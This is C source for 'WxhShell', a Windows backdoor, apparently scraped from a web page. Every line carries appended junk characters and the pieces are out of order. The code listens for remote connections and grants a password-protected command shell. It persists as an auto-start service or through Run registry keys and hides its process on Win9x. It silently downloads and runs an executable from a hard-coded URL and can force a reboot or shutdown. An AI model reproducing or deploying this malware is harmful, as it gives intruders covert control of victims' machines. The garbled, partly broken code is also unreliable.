    break; k:#u%Z   
    } p{[(4}ql  
  // 关机 *H~&hs>k  
  case 'd': { h@fF`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); qkBCI,X_Y  
    if(Boot(SHUTDOWN)) <\oD4EE_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dr5AJ`y9A  
    else { Zx)gLDd  
    closesocket(wsh); }-~LXL%!3  
    ExitThread(0); ^CW{`eBwk  
    } r b*;4a  
    break; B!((N{4H+  
    } lH/7m;M  
  // 获取shell mq+<2 S  
  case 's': { T+41,  
    CmdShell(wsh); 6Cgc-KNbk  
    closesocket(wsh); ,&G !9}EC  
    ExitThread(0); :H>0/^Mg0  
    break; WkDXWv\{,{  
  } .1 jeD.l  
  // 退出 I-m Bj8^;  
  case 'x': { *vOk21z77d  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); N)4R.}  
    CloseIt(wsh); ]nq/y AF%  
    break; xc,Wm/[  
    } xM![  
  // 离开 ^/~C\ (  
  case 'q': { #~[{*[B+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); A+hA'0isF@  
    closesocket(wsh); u,./,:O%=  
    WSACleanup(); QypUBf  
    exit(1); p{AX"|QM"  
    break; P4fnBH4OQ  
        } BbhC 0q"J  
  } yiMqe^zy  
  } #U.6HBuQa  
vF)eo"_s*  
  // 提示信息 }WHq?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pd-I^Q3-  
} NRazI_Z  
  } eU\XAN#@  
1NkJs&  
  return; i5SDy(?r  
} "-S@R=bi  
>L433qR  
// shell模块句柄 Sl'{rol'  
int CmdShell(SOCKET sock) Z29aRi  
{ G\K!7k`)!  
STARTUPINFO si; slaH2}$xR  
ZeroMemory(&si,sizeof(si)); v1p^=" IHI  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I.it4~]H  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a|z@5r%  
PROCESS_INFORMATION ProcessInfo; %DM0Z8P$B-  
char cmdline[]="cmd"; b4 Pa5 w  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); a\}` f=T  
  return 0; #I\" 'n5M  
} ^Hz1z_[X@  
8vQR'<,  
// 自身启动模式 ?}#Iu-IA  
int StartFromService(void) k; >Vh'=X  
{ D"exI]  
typedef struct lIPz "  
{ nd&i9l  
  DWORD ExitStatus; ;,s9jw  
  DWORD PebBaseAddress; &@=W+A=c~  
  DWORD AffinityMask; l#Vg=zrT  
  DWORD BasePriority; 3i~X`@$k>  
  ULONG UniqueProcessId; -d^'-s  
  ULONG InheritedFromUniqueProcessId; 5 v^tPGg4  
}   PROCESS_BASIC_INFORMATION; =_CH$F!U  
FIUQQQ\3  
PROCNTQSIP NtQueryInformationProcess; +.Xi7x+#O  
f~7V<v  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; GJ F &id  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; y+KAL{AGK  
O{ 0it6  
  HANDLE             hProcess; txE+A/>i9  
  PROCESS_BASIC_INFORMATION pbi; i!gS]?*DH  
AH_qZTv0{Q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); XlnSh<e  
  if(NULL == hInst ) return 0; zrf tF2U  
S&QXf<v  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8H|ac[hXK2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9E NI%Jz  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2[qoqd(  
~+ 9v z  
  if (!NtQueryInformationProcess) return 0; .h\Py[h<^  
O<E8,MCA[a  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .(3ec/i4CF  
  if(!hProcess) return 0; tG ZMIG_  
vPc*x5w-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K$w;|UJc  
Qqx!'fft  
  CloseHandle(hProcess); dMCoN8W  
p_X{'=SQ1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1 b 86@f   
if(hProcess==NULL) return 0; (=%0$(S>  
_,IjB/PR(  
HMODULE hMod; pWq+`|l$  
char procName[255]; PG}Roj I  
unsigned long cbNeeded; bE{Y K  
b%vIaP|]B  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -*i_8`  
)WInPW  
  CloseHandle(hProcess); 2pU'&8  
5+;Mc[V3-  
if(strstr(procName,"services")) return 1; // 以服务启动 *8po0s  
4 Yv:\c  
  return 0; // 注册表启动 6B|i-b $~  
} 1U/RMN3`  
wc. =`Me  
// 主模块 fGqX dlP  
int StartWxhshell(LPSTR lpCmdLine) &0tW{-Hv"  
{ OM{^F=Ap  
  SOCKET wsl; i q oXku  
BOOL val=TRUE; EmR82^_:  
  int port=0; ~LZrhwVj$  
  struct sockaddr_in door; 6>oc,=MV/  
0y+^{@lU  
  if(wscfg.ws_autoins) Install(); y_w  <3  
{Dk!<w I)  
port=atoi(lpCmdLine); 'Grii,  
6ulx0$[  
if(port<=0) port=wscfg.ws_port; "lLh#W1d  
`lWGwFgg(  
  WSADATA data; 8'jt59/f  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /e|Lw4$@S  
y<6c*e1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   kfZ`|w@q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ..X_nF  
  door.sin_family = AF_INET; )E*f30  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); yF? O+9R A  
  door.sin_port = htons(port); 8FMxn{k2  
l`ZL^uT  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8.n#@%  
closesocket(wsl); rDhQ3iCqo  
return 1; ,]7ouH$H}  
} rKUtTj  
]oVP_ &E  
  if(listen(wsl,2) == INVALID_SOCKET) { boGdZ2$h4  
closesocket(wsl); $wp>2  
return 1; }P0bNY5?%  
} [,,@>nyD  
  Wxhshell(wsl); SsTBjIX  
  WSACleanup(); O- QT+]  
q i yK  
return 0; RQ =$, i`  
V [g^R*b  
} ))f@9m  
V 97ORI  
// 以NT服务方式启动 hmGlGc,lf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \efDY[j/  
{ AXHY$f|  
DWORD   status = 0; :ig=zETM  
  DWORD   specificError = 0xfffffff; SyVXXk 0  
q"<=^vi  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /y{: N  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; LYECX  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <q$Tk,  
  serviceStatus.dwWin32ExitCode     = 0; E> GmFw  
  serviceStatus.dwServiceSpecificExitCode = 0; pI-Qq%Nwt  
  serviceStatus.dwCheckPoint       = 0; 4"kc(J`c  
  serviceStatus.dwWaitHint       = 0; xOKJOl  
s 0Uid&qE  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); dxAGO(  
  if (hServiceStatusHandle==0) return; y EfAa6  
aOGoJCt C  
status = GetLastError(); ejZ-A?f-K  
  if (status!=NO_ERROR) -LRx}Mb9  
{ jyW={%&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Mb2a;s  
    serviceStatus.dwCheckPoint       = 0; -%MXt  
    serviceStatus.dwWaitHint       = 0; O U7OX]h  
    serviceStatus.dwWin32ExitCode     = status; G{fPQ=  
    serviceStatus.dwServiceSpecificExitCode = specificError; jFdgFK c)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Jw}t~m3  
    return; 7V::P_aUY  
  } gU+yqT7=  
 VQH48{X  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =@M9S  
  serviceStatus.dwCheckPoint       = 0; hbJy<e1W  
  serviceStatus.dwWaitHint       = 0; ?%~p@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 51|s2+GG  
} "KK}} $>  
mz.,j(Ks-  
// 处理NT服务事件,比如:启动、停止 I2CI9,0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ffL]_E  
{ eC"e v5v  
switch(fdwControl) \A\  
{ 5 l8F.LtO\  
case SERVICE_CONTROL_STOP: 4z5qXI/<m4  
  serviceStatus.dwWin32ExitCode = 0; s3JzYDpy  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9)vU/fJ|  
  serviceStatus.dwCheckPoint   = 0; /r'Fq =z  
  serviceStatus.dwWaitHint     = 0; 33lh~+C  
  { _@XueNU1hS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y|O3*`&m  
  } HLDv{G'7  
  return; N7"cMAs\G  
case SERVICE_CONTROL_PAUSE: 1YMi4.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :!Q(v(M  
  break; l H_pG~  
case SERVICE_CONTROL_CONTINUE: GOdWc9Ta!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >Vq07R  
  break; F%y#)53g  
case SERVICE_CONTROL_INTERROGATE: "" ^n^$  
  break; ;U?=YSHk7  
}; x'}z NEXI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l^bak]9 1  
} ?E!M%c@,  
J)Yz@0#T(;  
// 标准应用程序主函数 ?H_@/?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) dRzeHuF92  
{ bvB7d` wx  
ckFPx l.  
// 获取操作系统版本 6bj77CoB  
OsIsNt=GetOsVer(); <Sd ef^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); X=?9-z] QO  
]Gm4gd`  
  // 从命令行安装  rwSR  
  if(strpbrk(lpCmdLine,"iI")) Install(); m\&99-j:@b  
gAEB  
  // 下载执行文件 90abA,U@  
if(wscfg.ws_downexe) { VgbT/v  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bydI+pVMo  
  WinExec(wscfg.ws_filenam,SW_HIDE); :_HdOm  
} 9f& !Uw_W  
x76;wQ  
if(!OsIsNt) { 8H};pu2  
// 如果时win9x,隐藏进程并且设置为注册表启动 'tMD=MH  
HideProc(); HI:1Voy  
StartWxhshell(lpCmdLine); PQ_A^95  
} &QQ6F>'T  
else P(b~3NB)  
  if(StartFromService()) w `d9" n  
  // 以服务方式启动 9k9}57m.i  
  StartServiceCtrlDispatcher(DispatchTable); &%(Dd  
else s4f{ziLp  
  // 普通方式启动 '"Uhw$#t  
  StartWxhshell(lpCmdLine); FnOa hLS  
,qB@agjvo<  
return 0; ?)<zzL",  
} 5(1c?biP&  
,bM):  
*e:I*L  
GHi'ek<?^  
=========================================== 2Kr8#_) 0  
<7Yh<(R e^  
)iC@n8f7o  
@!ja/Y^  
D\J.6W  
/={N^8^=x  
" /VEK<.,aMv  
hfc~HKLC  
#include <stdio.h> 9zx9t  
#include <string.h> iM1E**WCtv  
#include <windows.h> m#_M"B.cm  
#include <winsock2.h> ;ioF'ov  
#include <winsvc.h> 'F/uD 1;  
#include <urlmon.h> ~-sG&u>  
PN J&{4wY  
#pragma comment (lib, "Ws2_32.lib") Ed-3-vJej6  
#pragma comment (lib, "urlmon.lib") QAl4w)F  
2"}Vfy  
#define MAX_USER   100 // 最大客户端连接数 X4'!:&  
#define BUF_SOCK   200 // sock buffer 0Q#}:  
#define KEY_BUFF   255 // 输入 buffer h^,L) E  
uB6Mj dp6  
#define REBOOT     0   // 重启 2zv:j7  
#define SHUTDOWN   1   // 关机 H|`D3z.c  
f\RTO63|O  
#define DEF_PORT   5000 // 监听端口 tK#/S+l  
?} E M,  
#define REG_LEN     16   // 注册表键长度 s`v$r,N0  
#define SVC_LEN     80   // NT服务名长度 #tw_`yh  
;Vf{3  
// 从dll定义API <4zSh3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4OAR ["f  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @1bl<27  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); W|sU[dxZ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); w|0:0Rc~u  
E*,nKJu'r  
// wxhshell配置信息 z7P~SM  
struct WSCFG { oxI?7dy5  
  int ws_port;         // 监听端口 `]l|YQz\  
  char ws_passstr[REG_LEN]; // 口令 rmWs o b  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6p&uifY}tR  
  char ws_regname[REG_LEN]; // 注册表键名 zyP/'X_~:  
  char ws_svcname[REG_LEN]; // 服务名 ,S`F xJcE  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7@k3-?q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <{YzmN\Z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^;[_CF _  
int ws_downexe;       // 下载执行标记, 1=yes 0=no NweGK  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0$=U\[og  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 QOPh3+.5  
V_n tS& 2o  
}; hOFvM&$  
Be^"sC  
// default Wxhshell configuration :v$)Z~  
struct WSCFG wscfg={DEF_PORT, z/p^C~|}  
    "xuhuanlingzhe", _^ n>kLd$  
    1, A9J{>f  
    "Wxhshell", *mYGs )|  
    "Wxhshell", zF? 6"  
            "WxhShell Service", ~6QV?j  
    "Wrsky Windows CmdShell Service", lh XD9ed  
    "Please Input Your Password: ", \CS4aIp  
  1, jJ'NYG  
  "http://www.wrsky.com/wxhshell.exe", L`9.Gf  
  "Wxhshell.exe" +br' 2Pn  
    }; 7;r3Bxa Q  
g 4 $  
// 消息定义模块 +t Prqv"(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; jzWgyI1b  
char *msg_ws_prompt="\n\r? for help\n\r#>"; u{D]Kc?n  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^R(=4%8%"  
char *msg_ws_ext="\n\rExit."; WOeLn[  
char *msg_ws_end="\n\rQuit."; :DuEv:;v  
char *msg_ws_boot="\n\rReboot..."; _,e4?grP#  
char *msg_ws_poff="\n\rShutdown..."; 0r!F]Rm-^  
char *msg_ws_down="\n\rSave to "; R'atg 9  
INCD5dihJ  
char *msg_ws_err="\n\rErr!"; CkV -L4Jq  
char *msg_ws_ok="\n\rOK!"; j|p=JrCJ  
-?IF'5z  
char ExeFile[MAX_PATH]; ^ 6Yt2Bhs  
int nUser = 0; xsS;<uCD  
HANDLE handles[MAX_USER]; %*gg6Q  
int OsIsNt; Bw[#,_  
"st+2#{  
SERVICE_STATUS       serviceStatus; {CTJX2&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; l!\~T"-7;:  
[I<J6=  
// 函数声明 ;.R) uCd{=  
int Install(void); 0| =y#`;,Z  
int Uninstall(void); /h]ru SI  
int DownloadFile(char *sURL, SOCKET wsh); cw0uLMqr`  
int Boot(int flag); %ca`v;].  
void HideProc(void); G"6XJYoI  
int GetOsVer(void); ~9;udBfwF  
int Wxhshell(SOCKET wsl); "%_T7 A ![  
void TalkWithClient(void *cs); N6%L4v8-}X  
int CmdShell(SOCKET sock); [l<&eI&ln  
int StartFromService(void); *Aug7 HlS  
int StartWxhshell(LPSTR lpCmdLine); ? 5OK4cR  
.O&YdUo  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xv%]g= Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 53bVhPGv  
$}us+hGZ  
// 数据结构和表定义 hVd_1|/X  
SERVICE_TABLE_ENTRY DispatchTable[] = u6MU @?  
{ hyhm{RC?[  
{wscfg.ws_svcname, NTServiceMain}, m6gMVon  
{NULL, NULL} d%E*P4Ua  
}; "\5 T  6  
{ qCFd  
// 自我安装 {yd(n_PqY  
int Install(void) S{{wcH$n'i  
{ >8$Lqj^i  
  char svExeFile[MAX_PATH]; |PGTP#O<  
  HKEY key; 3`NSSS  
  strcpy(svExeFile,ExeFile); Ya!PV&"Z  
9}a&:QTHR  
// 如果是win9x系统,修改注册表设为自启动 0 c,!<\B  
if(!OsIsNt) { J L1]auO*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wk1/&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <B @z>V  
  RegCloseKey(key); ph%t #R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r!|h3*YA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  <$K7f  
  RegCloseKey(key); ]A1'+!1$  
  return 0; e ]{=#  
    } \#F>R,  
  } s;sr(34  
} gebL6oc%  
else { ni<\ AF]`  
sNMF(TY  
// 如果是NT以上系统,安装为系统服务 \+x#aN\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); w")m]LV  
if (schSCManager!=0) 2~V"[26t  
{ ^a1k"|E?f  
  SC_HANDLE schService = CreateService "}oo`+]Cq  
  ( P=s3&NDD  
  schSCManager, FiXqypT_(  
  wscfg.ws_svcname, xokA_3,1F  
  wscfg.ws_svcdisp, *V[I&dKq  
  SERVICE_ALL_ACCESS, #6pJw?[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0+.<BOcW5  
  SERVICE_AUTO_START, |A+,M"F?  
  SERVICE_ERROR_NORMAL, Deq@T {  
  svExeFile, o5m] Gqa  
  NULL, K%u>'W  
  NULL, b7gN|Hw5 H  
  NULL, :z%Zur+n c  
  NULL, QcjsQTAbk  
  NULL  w U1[/  
  ); c}H}fyu%n  
  if (schService!=0) #Kx @:I  
  { "EE (O9q  
  CloseServiceHandle(schService); en6;I[\  
  CloseServiceHandle(schSCManager); QB ;TQZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); lAo4)  
  strcat(svExeFile,wscfg.ws_svcname); _@ g\.7@0G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { . K_Jg$3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); tGSX TF}G  
  RegCloseKey(key); Z&7Yl(|  
  return 0; 0;]VTz?P  
    } ?D(aky#cyc  
  } +x~p&,w?  
  CloseServiceHandle(schSCManager); lwjA07 i  
} BA8!NR|  
} 4ti,R'  
h<n2pz}  
return 1; S,a:H*Hf  
} 0n={Mb  
%_~1(Glz  
// 自我卸载 JbN,K  
int Uninstall(void) j+>N&.zs  
{ 1@F>E;YjL=  
  HKEY key; ,vBB". LY'  
xqauSW  
if(!OsIsNt) { (nYGN$qC9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1)f <  
  RegDeleteValue(key,wscfg.ws_regname); V?-2FK]  
  RegCloseKey(key); M-e|$'4u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BL-7r=Z  
  RegDeleteValue(key,wscfg.ws_regname); ^S)t;t@x  
  RegCloseKey(key); iRM ?_|  
  return 0; 1O1MB&5%  
  } Qtt3;5m  
} WHu[A/##']  
} zy|h1 .gd  
else { S%wd Xe  
#eF k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); z$Qy<_l  
if (schSCManager!=0) e+?;Dc-SJ\  
{ D8{f7{nY  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); kZR(0, W  
  if (schService!=0) L D%SLJ:  
  { {s=c!08=  
  if(DeleteService(schService)!=0) { .k%/JF91n  
  CloseServiceHandle(schService); 9"}5jq4*  
  CloseServiceHandle(schSCManager); 7Jpq7;  
  return 0; };f^*KZ=0  
  } KHM,lj*  
  CloseServiceHandle(schService); } V"A;5j`  
  } 6w_TL< S  
  CloseServiceHandle(schSCManager); S8C} C#  
} &4*f28 s  
} Fz5eCe\B  
r&~]6 U  
return 1; H;+98AIy`  
} bP%X^q~]A  
lXD=uRCI  
// 从指定url下载文件 l-SVI9|<0  
int DownloadFile(char *sURL, SOCKET wsh) W'e{2u  
{ +;bZ(_ohG  
  HRESULT hr; /2 qxJvZ  
char seps[]= "/"; qV-1aaA  
char *token; X<f4X"y  
char *file; MFipXE!  
char myURL[MAX_PATH]; wBEBj7(y  
char myFILE[MAX_PATH]; pezfB{x?  
PeSTUR&  
strcpy(myURL,sURL); - <tTT  
  token=strtok(myURL,seps); !P6?nS  
  while(token!=NULL) >xXq:4l>}  
  { Ym$`EN  
    file=token; !yz3:Yzu  
  token=strtok(NULL,seps); kc2 8Q2  
  } l>("L9  
:]LW,Eql  
GetCurrentDirectory(MAX_PATH,myFILE); {#&D=7LP  
strcat(myFILE, "\\"); FR\r/+n:t0  
strcat(myFILE, file); cVSns\QO  
  send(wsh,myFILE,strlen(myFILE),0); rY$ wC%  
send(wsh,"...",3,0); BLm}mb#/{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \\Z?v,XsS  
  if(hr==S_OK) V h5\'Sn  
return 0; 4%6@MQ[  
else _6]tbni?v  
return 1; ~$1g"jIw  
!.O;SG  
} ft!D2M  
I}awembw g  
// 系统电源模块 ?}C8_I|4~  
int Boot(int flag) Wq<H sJd/  
{ gmOP8.g  
  HANDLE hToken; u_*y~1^0  
  TOKEN_PRIVILEGES tkp; m=w #l>!  
~SXqhX-`  
  if(OsIsNt) { drp< f1`l8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  p.,`3"C1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~b[5}_L=>  
    tkp.PrivilegeCount = 1; qporH]J-E  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4OG 1_6K  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \^lDd~MWG  
if(flag==REBOOT) { i{r[zA]$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >=3oe.$)  
  return 0; sjHcq5#U!  
} ]@l;;Sp  
else { 2=| Ks]<P  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) UUvR>5@n  
  return 0; [9y y<Z5  
} xk^`4;  
  } 41+@!`z7  
  else { "}0)~,{x B  
if(flag==REBOOT) { I"D}amuv  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) NFf?~I&mfu  
  return 0; 3+! G9T!  
} LXRIo2ynuw  
else { 98CS|NEe  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %~N| RSec  
  return 0; Bey9P)_Of  
} C0&ZQvvy1:  
}  X$_z"t  
^fbzlu?G4-  
return 1; yz%o?%@  
} hh-sm8  
T t$] [  
// win9x进程隐藏模块 zOis}$GR  
void HideProc(void) M[0NB2`Wp  
{ UvL=^*tm  
D<T:UJ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); t]ID  
  if ( hKernel != NULL ) 2rM/kF >g  
  { =@d->d  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <Q_E3lQy/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +_ $!9m  
    FreeLibrary(hKernel); id>2G %Tx  
  } >ni0:^vp  
VD+v \X_  
return; M|UCV_omN  
} -E.fo._L5  
n -xCaq  
// 获取操作系统版本 iz27yXHZ~  
int GetOsVer(void) CZkmd  
{ yxi*4R  
  OSVERSIONINFO winfo; ,S&p\(r.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); p R ! m  
  GetVersionEx(&winfo); $,nidK!"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /'bX}H(dq  
  return 1; )~ ^`[`  
  else r>6FJ:Tx  
  return 0; ./CD W  
} 2F/oWt|w?  
QvlV jDIy  
// 客户端句柄模块 :b,An'H  
int Wxhshell(SOCKET wsl) Z5@E|O&  
{ Q3[nS(#Z/=  
  SOCKET wsh; B_"PFWwg  
  struct sockaddr_in client; b{.Y?.U  
  DWORD myID; _lfS"ae  
=0>[-:Z  
  while(nUser<MAX_USER) .qCI!%fg  
{ ^$y`Q@-9  
  int nSize=sizeof(client); FaKZ|~Y e  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <=%G%V_s  
  if(wsh==INVALID_SOCKET) return 1; }-p-(  
LRSt >; M  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5YXMnYt9  
if(handles[nUser]==0) "J 2v8c  
  closesocket(wsh); `~ h8D9G  
else {#z[iiB  
  nUser++; ;7(vqm<V2~  
  } b:$q5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); HC| ]Au  
m[hHaX  
  return 0; CT (HTu  
} dlMjy$/T  
}s.\B    
// 关闭 socket .G>~xm0  
void CloseIt(SOCKET wsh) 5qkyi]/U8  
{ lN_b&92  
closesocket(wsh); B8>@q!G8P  
nUser--; Kn}Y7B{  
ExitThread(0); a@#<qf8g  
} 22`e7  
od*#)   
// 客户端请求句柄 1vCVTuRF  
void TalkWithClient(void *cs) F`.W 9H3  
{ Sy^@v%P'A  
n`p/;D=?  
  SOCKET wsh=(SOCKET)cs; /1.gv~`+  
  char pwd[SVC_LEN]; afjEN y1  
  char cmd[KEY_BUFF]; tD]vx`0>  
char chr[1]; (mx}6A  
int i,j; \# 1p  
peVzF'F  
  while (nUser < MAX_USER) { `8;\}6:"1  
|lh&l<=(f  
if(wscfg.ws_passstr) { /km0[M  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Cm-dos  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'i 8`LPQ  
  //ZeroMemory(pwd,KEY_BUFF); 3C2~heO>|  
      i=0; ^vTp.7o~5  
  while(i<SVC_LEN) { F`o"t]AD-a  
QV _a M2  
  // 设置超时 f5'vjWJ30  
  fd_set FdRead; Q>uJ:[x+  
  struct timeval TimeOut; 9dp1NjOtAc  
  FD_ZERO(&FdRead); cZAf?,>u  
  FD_SET(wsh,&FdRead); ,+FiP{`  
  TimeOut.tv_sec=8; E-#C#B  
  TimeOut.tv_usec=0; K pmq C$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4"Mq]_D  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `Nv7c{M^  
}q:4Zh'l!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mEbj  
  pwd=chr[0]; vP,$S^7$  
  if(chr[0]==0xd || chr[0]==0xa) { JC7:0A^  
  pwd=0; Lo}zT-F  
  break; ex|h&Vma2V  
  } 66scBi_d  
  i++; j_SUR)5  
    } v R ! y#  
a!, X@5  
  // 如果是非法用户,关闭 socket (ZQ?1Qxo  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M/YS%1  
} *4c5b'u  
c+:^0&l  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )%HIC@MM6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [!`5kI  
Ce} m_  
while(1) { B\+uRiD8w  
MZ>Q Rf  
  ZeroMemory(cmd,KEY_BUFF); Bx|h)e9  
l _zTpyOZ  
      // 自动支持客户端 telnet标准   dHtEyF  
  j=0; Tj!rAMQk  
  while(j<KEY_BUFF) { C9eisUM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Kr+#)S  
  cmd[j]=chr[0]; dyl1~'K^  
  if(chr[0]==0xa || chr[0]==0xd) { f\H1$q\p\  
  cmd[j]=0; uz;eY D  
  break; vZXdc+2l  
  } j k&\{  
  j++; }|l7SFst  
    } i_av_I-  
C4gzg  
  // 下载文件  Au*1-  
  if(strstr(cmd,"http://")) { T5wVJgN>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); T2|os{U  
  if(DownloadFile(cmd,wsh)) & 5QvUn  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @QF;m  
  else ul!q)cPb{  
